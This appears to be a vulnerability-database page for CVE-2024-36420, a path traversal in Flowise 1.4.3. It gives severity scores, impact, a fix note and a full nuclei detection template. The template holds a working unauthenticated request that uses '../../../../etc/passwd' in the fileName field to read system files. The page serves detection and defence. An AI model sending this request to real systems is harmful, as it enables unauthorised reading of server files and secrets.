HexBrain

Browse / CVEs / CVE-2024-36420

CVE-2024-36420· flowiseai / flowise· CWE-22

Flowise 1.4.3 - Arbitrary File Read

highseverity
7.5CVSS score
1.8%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it

Flowise 1.4.3 contains a path traversal caused by lack of sanitization of 'fileName' parameter in /api/v1/openai-assistants-file endpoint in index.ts, letting attackers read arbitrary files, exploit requires attacker to send crafted request.

Impact

Attackers can read arbitrary files on the server, potentially exposing sensitive information.

Fix

No known patches available; consider applying input validation and sanitization to 'fileName' parameter or upgrade when patches are released.

How to confirm it

Send: POST /api/v1/openai-assistants-file
Positive when: matches /(?m)^root:[^:]*:0:0:/ AND contains in header "attachment; filename=passwd" AND status 200

Run it with nuclei: nuclei -id CVE-2024-36420 -u <target>

The full check
id: CVE-2024-36420

info:
  name: Flowise 1.4.3 - Arbitrary File Read
  author: fineman999
  severity: high
  description: |
    Flowise 1.4.3 contains a path traversal caused by lack of sanitization of 'fileName' parameter in /api/v1/openai-assistants-file endpoint in index.ts, letting attackers read arbitrary files, exploit requires attacker to send crafted request.
  impact: |
    Attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    No known patches available; consider applying input validation and sanitization to 'fileName' parameter or upgrade when patches are released.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36420
    - https://securitylab.github.com/advisories/GHSL-2023-232_GHSL-2023-234_Flowise/
    - https://github.com/FlowiseAI/Flowise/blob/e93ce07851cdc0fcde12374f301b8070f2043687/packages/server/src/index.ts#L982
  classification:
    cve-id: CVE-2024-36420
    epss-score: 0.01776
    epss-percentile: 0.78392
    cwe-id: CWE-22
    cvss-score: 7.5
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  metadata:
    verified: true
    vendor: flowiseai
    product: flowise
    max-request: 1
  tags: cve,cve2024,flowise,lfi,unauth,vuln,vkev

http:
  - raw:
      - |
        POST /api/v1/openai-assistants-file HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"fileName":"../../../../etc/passwd"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "(?m)^root:[^:]*:0:0:"
          - "(?m)^daemon:[^:]*:[0-9]+:[0-9]+:"

      - type: word
        part: header
        words:
          - "attachment; filename=passwd"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from